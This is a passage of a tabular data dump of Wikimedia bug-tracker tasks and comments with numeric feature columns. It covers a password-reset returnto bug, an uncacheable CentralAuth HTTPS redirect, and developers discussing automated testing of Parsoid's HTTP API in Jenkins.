Perhaps the fix of 57098 also solves the present 57289.",,,1384945090,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,20.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,7.0,0.0,7.0,0.0,2.0,7.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.891304347826087,0.8043478260869565,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
^wrong

I meant:

See 
URL SpecialPasswordReset when called does not obey an optional returnto parameter 

Perhaps the fix of 57098 also solves the present 57289."
268447,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change",perhaps the fix of https://bugzilla.wikimedia.org/show_bug.cgi?id=57065 solves this.,,,1384944944,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,perhaps the fix of URL solves this.
59223,CentralAuth $wgSecureLogin redirect is uncacheable,"The redirect added to CentralAuth in Ia1232ac39e8 is effectively uncacheable, since it depends on wfCanIPUseHTTPS(), which can't be varied on in Varnish. The change should probably be reverted. It's essential that /checkLoggedIn be cached if the backend request rate impact of CentralAuth is to be reduced.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1384824300,1385510323.0,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,False,PHID-TASK-qocaqbn25fk7kqu3ild7,task_description,resolved,True,c2,3,False,False,True,11,True,0.0,0.0,0.0,4.0,1.0,8.0,4.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,12.0,4.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,14.0,8.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.561643835616438,0.7123287671232876,"The redirect added to CentralAuth in Ia1232ac39e8 is effectively uncacheable, since it depends on wfCanIPUseHTTPS(), which can't be varied on in Varnish. The change should probably be reverted. It's essential that /checkLoggedIn be cached if the backend request rate impact of CentralAuth is to be reduced.

--------------------------
**Version**: unspecified
**Severity**: normal"
264507,CentralAuth $wgSecureLogin redirect is uncacheable,"Change 96317 merged by jenkins-bot:
Remove https redirect from CentralAutoLogin

https://gerrit.wikimedia.org/r/96317",,,1385510312,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qocaqbn25fk7kqu3ild7,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.1875,1.0,"Change 96317 merged by jenkins-bot:
Remove https redirect from CentralAutoLogin

GERRIT_URL"
264503,CentralAuth $wgSecureLogin redirect is uncacheable,"As noted on the patch, that should have been a redundant check, so the AutoLogin piece should be cacheable with gerrit 96317.",,,1384891936,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qocaqbn25fk7kqu3ild7,task_subcomment,,True,c2,3,True,,,11,True,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,16.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,8.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.16,0.88,"As noted on the patch, that should have been a redundant check, so the AutoLogin piece should be cacheable with gerrit 96317."
264499,CentralAuth $wgSecureLogin redirect is uncacheable,"Change 96317 had a related patch set uploaded by CSteipp:
Remove https redirect from CentralAutoLogin

https://gerrit.wikimedia.org/r/96317",,,1384891744,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qocaqbn25fk7kqu3ild7,task_subcomment,,True,c2,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.2631578947368425,1.0,"Change 96317 had a related patch set uploaded by CSteipp:
Remove https redirect from CentralAutoLogin

GERRIT_URL"
58730,Develop unit tests for the HTTP API,"The current Parsoid unit tests (parserTests.js and friends) use Parsoid as a library directly. This means that the HTTP API code paths are not tested, leadig to issues like https://wikitech.wikimedia.org/wiki/Incident_documentation/20131104-Parsoid .

We should develop some way of unit-testing all the HTTP API endpoints.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=56601",High,80.0,1383849960,1386109290.0,PHID-USER-56wtmb23orq4pu5liyj5,False,,False,PHID-TASK-kh2buy3dptmfowydkqjp,task_description,resolved,True,c2,3,False,False,False,10,True,3.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,19.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,6.0,8.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.8354430379746836,0.6835443037974683,"The current Parsoid unit tests (parserTests.js and friends) use Parsoid as a library directly. This means that the HTTP API code paths are not tested, leadig to issues like URL .

We should develop some way of unit-testing all the HTTP API endpoints.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
260431,Develop unit tests for the HTTP API,"Resolving this as a duplicate of 56601, which is also about using the HTTP API from roundtrip-test.js.

*** This bug has been marked as a duplicate of bug 56601 ***",,,1386109290,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-kh2buy3dptmfowydkqjp,task_subcomment,,True,c2,3,False,,,13,True,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,11.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,5.0,0.0,0.0,0.0,3.675675675675676,0.7027027027027027,"Resolving this as a duplicate of 56601, which is also about using the HTTP API from roundtrip-test.js.

*** This bug has been marked as a duplicate of bug 56601 ***"
58590,Use the HTTP API in round-trip testing,"Parsoid currently tests parsing and serialiation of content. Currently, testing of the HTTP API wrappers and any issues with libraries and bugs in the endpoints relies on manual testing.

Gaps in manual testing can lead to incidents like this: https://wikitech.wikimedia.org/wiki/Incident_documentation/20131104-Parsoid

So, we need an automated test setup for our HTTP API endpoints.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1383604620,1387828127.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-cfhd53wpntcxcbt4smwr,task_description,resolved,True,c2,3,True,False,False,9,True,1.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,23.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,12.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.294871794871795,0.6666666666666666,"Parsoid currently tests parsing and serialiation of content. Currently, testing of the HTTP API wrappers and any issues with libraries and bugs in the endpoints relies on manual testing.

Gaps in manual testing can lead to incidents like this: URL

So, we need an automated test setup for our HTTP API endpoints.

--------------------------
**Version**: unspecified
**Severity**: normal"
278506,Use the HTTP API in round-trip testing,"Change 102011 merged by jenkins-bot:
Bug 56590: Use the Parsoid HTTP API in round-trip testing

https://gerrit.wikimedia.org/r/102011",,,1387495057,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,16,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,29.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,0.9166666666666666,"Change 102011 merged by jenkins-bot:
Bug 56590: Use the Parsoid HTTP API in round-trip testing

GERRIT_URL"
278503,Use the HTTP API in round-trip testing,"Change 99348 abandoned by GWicke:
Bug 56590: Use the Parsoid HTTP API in round-trip testing

Reason:
Moved to https://gerrit.wikimedia.org/r/#/c/102011/

https://gerrit.wikimedia.org/r/99348",,,1387319737,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,38.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.793103448275862,0.8620689655172413,"Change 99348 abandoned by GWicke:
Bug 56590: Use the Parsoid HTTP API in round-trip testing

Reason:
Moved to URL

GERRIT_URL"
278500,Use the HTTP API in round-trip testing,"Change 102011 had a related patch set uploaded by GWicke:
Bug 56590: Use the Parsoid HTTP API in round-trip testing

https://gerrit.wikimedia.org/r/102011",,,1387232407,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,30.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.037037037037037,0.9629629629629629,"Change 102011 had a related patch set uploaded by GWicke:
Bug 56590: Use the Parsoid HTTP API in round-trip testing

GERRIT_URL"
278495,Use the HTTP API in round-trip testing,"So far, we've been doing some basic integration testing on a single page (en:Barack_Obama) in a Jenkins job after each commit. While we could fully mock up all API accesses, for large pages like en:Barack_Obama, this would require us to effectively do a capture and replay of all API accesses for those pages (since it is not just wikitext, but also templates, extensions, images, etc. -- some 100s to 1000s of API calls).

Scott does have some basic code for capturing these accesses and dumping them to a file and using that to do a replay (without relying on internet). But, that seems like extra complexity instead of relying on internet access if we really want to do full-page integration testing on a set of N (for small values of N, say 5) pages after each commit.

So, I think the real question is whether we should be doing full page testing in a Jenkins/CI job after each commit or not. If yes, it seems simpler to rely on HTTP.

All that said, we do have a mock MW API server for testing PHP extensions (bug 45440). See parsoid/js/tests/mockAPI.js. Currently, we use this for running parserTests only.",,,1386264518,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,True,,,14,True,3.0,0.0,0.3333333333333333,0.0,0.6666666666666666,4.333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,3.0,0.0,5.0,13.0,0.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,4.666666666666667,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.333333333333334,1.0,1.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,3.3333333333333335,1.3333333333333333,9.0,1.6666666666666667,2.0,8.333333333333334,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,1.0,0.0,4.0,13.0,5.333333333333333,0.0,0.0,0.0,4.0,0.0,0.3333333333333333,2.6666666666666665,0.6666666666666666,3.3333333333333335,0.3333333333333333,0.0,0.6666666666666666,3.7086884121853263,0.7622196101479087,"So far, we've been doing some basic integration testing on a single page (en:Barack_Obama) in a Jenkins job after each commit. While we could fully mock up all API accesses, for large pages like en:Barack_Obama, this would require us to effectively do a capture and replay of all API accesses for those pages (since it is not just wikitext, but also templates, extensions, images, etc. -- some 100s to 1000s of API calls).

Scott does have some basic code for capturing these accesses and dumping them to a file and using that to do a replay (without relying on internet). But, that seems like extra complexity instead of relying on internet access if we really want to do full-page integration testing on a set of N (for small values of N, say 5) pages after each commit.

So, I think the real question is whether we should be doing full page testing in a Jenkins/CI job after each commit or not. If yes, it seems simpler to rely on HTTP.

All that said, we do have a mock MW API server for testing PHP extensions (bug 45440). See parsoid/js/tests/mockAPI.js. Currently, we use this for running parserTests only."
278488,Use the HTTP API in round-trip testing,"(In reply to comment #12)
<snip>
> Thanks for the info, Antoine. Even though we'll be running an independent
> Parsoid API server when running roundtrip-test.js, that will need internet
> access to fetch wikitext from the MediaWiki API. I'll open that bug when the
> code is ready.

Shouldn't you mock the API access?  I mean Parsoid could be injected fixtures with known articles content and use those flat files instead of relying on the remote wiki.   That would save the internet HTTP get and make sure you are testing known value.

Of course, I don't think Parsoid support that kind of injection (yet?).",,,1386253627,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,True,,,14,True,0.0,0.0,0.0,1.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,8.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,6.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,16.0,0.0,2.0,7.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,4.0,8.0,8.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,3.611111111111111,0.7555555555555555,"(In reply to comment #12)
<snip>
QUOTE
QUOTE
QUOTE
QUOTE

Shouldn't you mock the API access?  I mean Parsoid could be injected fixtures with known articles content and use those flat files instead of relying on the remote wiki.   That would save the internet HTTP get and make sure you are testing known value.

Of course, I don't think Parsoid support that kind of injection (yet?)."
278483,Use the HTTP API in round-trip testing,"Change 99348 had a related patch set uploaded by Marcoil:
Bug 56590: Use the Parsoid HTTP API in round-trip testing

https://gerrit.wikimedia.org/r/99348",,,1386239395,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,14,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,30.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.037037037037037,0.9629629629629629,"Change 99348 had a related patch set uploaded by Marcoil:
Bug 56590: Use the Parsoid HTTP API in round-trip testing

GERRIT_URL"
278478,Use the HTTP API in round-trip testing,"(In reply to comment #11)
> (snip)
> That build has been run on lanthanum.eqiad.wmnet which does not have direct
> access to internet.  We can tie the job to a Jenkins slave that has internet
> access though. 11pm right now so I will forget about it, but a bug against
> Wikimedia > Continuous integration would make sure it get solved.

Thanks for the info, Antoine. Even though we'll be running an independent Parsoid API server when running roundtrip-test.js, that will need internet access to fetch wikitext from the MediaWiki API. I'll open that bug when the code is ready.",,,1385546629,,PHID-USER-56wtmb23orq4pu5liyj5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,13,True,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,18.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,3.0,22.0,5.0,0.0,8.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,3.0,9.0,12.0,0.0,0.0,0.0,3.0,0.0,5.0,2.0,0.0,3.0,0.0,0.0,0.0,3.923076923076923,0.7076923076923077,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Thanks for the info, Antoine. Even though we'll be running an independent Parsoid API server when running roundtrip-test.js, that will need internet access to fetch wikitext from the MediaWiki API. I'll open that bug when the code is ready."
278472,Use the HTTP API in round-trip testing,"(In reply to comment #9)
<snip>
> - It doesn't pass Jenkins, see
> https://integration.wikimedia.org/ci/job/parsoid-roundtrip-test-check/1789/
> console
> It seems that the roundtrip-test.js script can't connect to the parsoid HTTP
> API from the jenkins machine. We'll need to get a parsoid instance running on
> the jenkins test machine, using a random port.

That build has been run on lanthanum.eqiad.wmnet which does not have direct access to internet.  We can tie the job to a Jenkins slave that has internet access though. 11pm right now so I will forget about it, but a bug against Wikimedia > Continuous integration would make sure it get solved.",,,1385505218,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,True,,,12,True,0.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,4.0,1.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,4.0,1.0,16.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,7.0,0.0,2.0,0.0,5.0,8.0,8.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,3.6987951807228914,0.7469879518072289,"(In reply to comment #9)
<snip>
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That build has been run on lanthanum.eqiad.wmnet which does not have direct access to internet.  We can tie the job to a Jenkins slave that has internet access though. 11pm right now so I will forget about it, but a bug against Wikimedia > Continuous integration would make sure it get solved."
278464,Use the HTTP API in round-trip testing,"Change 97733 abandoned by Marcoil:
Bug 56590: Use the HTTP API in round-trip testing

Reason:
This needs more work to work anywhere besides my local setup, a new patch will come soon.

https://gerrit.wikimedia.org/r/97733",,,1385495640,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,2.0,9.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.7954545454545454,0.8863636363636364,"Change 97733 abandoned by Marcoil:
Bug 56590: Use the HTTP API in round-trip testing

Reason:
This needs more work to work anywhere besides my local setup, a new patch will come soon.

GERRIT_URL"
278455,Use the HTTP API in round-trip testing,"Problems when testing this patch:

- When testing with a local Parsoid instance, it compares the two wikitext versions and gives a correct number of syntactic and semantic diffs, although the number is sometimes different to the one given by direct (no HTTP API) testing. Most of the times the differences are due to a final '\n' difference when testing through HTTP. Could be due to different selser and editMode settings?

- When testing from my local machine, but using httpL//parsoid.wmflabs.org/ as the HTTP API URL, html2wt always gives out the same wikitext as was gotten with TemplateRequest::one, which results in 0 diffs. Caching?

- node roundtrip-test.js --parsoidURL http://parsoid.wmflabs.org/ --prefix enwiki Barack_Obama
gives this error:
ERROR: Error: request entity too large
    at IncomingMessage.onData (/data/project/parsoid/js/node_modules/express/node_modules/connect/node_modules/raw-body/index.js:40:17)
    at IncomingMessage.EventEmitter.emit (events.js:88:17)
    at IncomingMessage._emitData (http.js:359:10)
    at HTTPParser.parserOnBody [as onBody] (http.js:123:21)
    at Socket.socket.ondata (http.js:1682:22)
    at TCP.onread (net.js:404:27)

- It doesn't pass Jenkins, see https://integration.wikimedia.org/ci/job/parsoid-roundtrip-test-check/1789/console
It seems that the roundtrip-test.js script can't connect to the parsoid HTTP API from the jenkins machine. We'll need to get a parsoid instance running on the jenkins test machine, using a random port.",,,1385488129,,PHID-USER-56wtmb23orq4pu5liyj5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,7.0,1.0,0.0,0.3333333333333333,0.0,1.3333333333333333,2.0,0.0,0.0,0.0,0.6666666666666666,0.0,3.0,9.666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,3.3333333333333335,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,14.333333333333334,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,5.666666666666667,1.3333333333333333,11.0,2.0,1.3333333333333333,7.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,1.6666666666666667,0.0,2.0,9.666666666666666,9.666666666666666,0.6666666666666666,0.6666666666666666,0.0,2.0,0.0,1.6666666666666667,1.6666666666666667,0.0,2.6666666666666665,0.0,0.3333333333333333,0.3333333333333333,4.783219334245326,0.7031463748290013,"Problems when testing this patch:

- When testing with a local Parsoid instance, it compares the two wikitext versions and gives a correct number of syntactic and semantic diffs, although the number is sometimes different to the one given by direct (no HTTP API) testing. Most of the times the differences are due to a final '\n' difference when testing through HTTP. Could be due to different selser and editMode settings?

- When testing from my local machine, but using httpL//parsoid.wmflabs.org/ as the HTTP API URL, html2wt always gives out the same wikitext as was gotten with TemplateRequest::one, which results in 0 diffs. Caching?

- node roundtrip-test.js --parsoidURL URL --prefix enwiki Barack_Obama
gives this error:
ERROR: Error: request entity too large
